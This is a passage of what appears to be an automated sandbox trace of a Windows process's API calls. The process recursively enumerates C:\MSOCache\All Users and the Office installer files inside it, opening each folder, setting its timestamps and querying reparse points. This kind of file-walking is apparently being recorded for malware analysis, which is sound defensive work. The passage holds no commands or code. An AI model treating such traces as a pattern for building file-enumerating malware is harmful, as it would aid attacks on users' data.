[0039.653] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.653] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0039.653] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0039.653] GetLastError () returned 0x12 [0039.653] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9000 [0039.653] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.653] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.653] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0039.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.653] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.692] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.692] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.692] NtClose (Handle=0x15c) returned 0x0 [0039.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.692] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.697] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0039.703] GetLastError () returned 0x12 [0039.703] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.703] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.703] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.775] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0039.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.775] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0039.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.775] NtClose (Handle=0x15c) returned 0x0 [0039.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0039.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4a38 [0039.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5470 [0039.775] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0039.775] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.776] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0039.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5578 [0039.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0039.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4f48 [0039.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5680 [0039.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.776] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4f68 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5788 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4f88 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5890 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4fa8 [0039.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5998 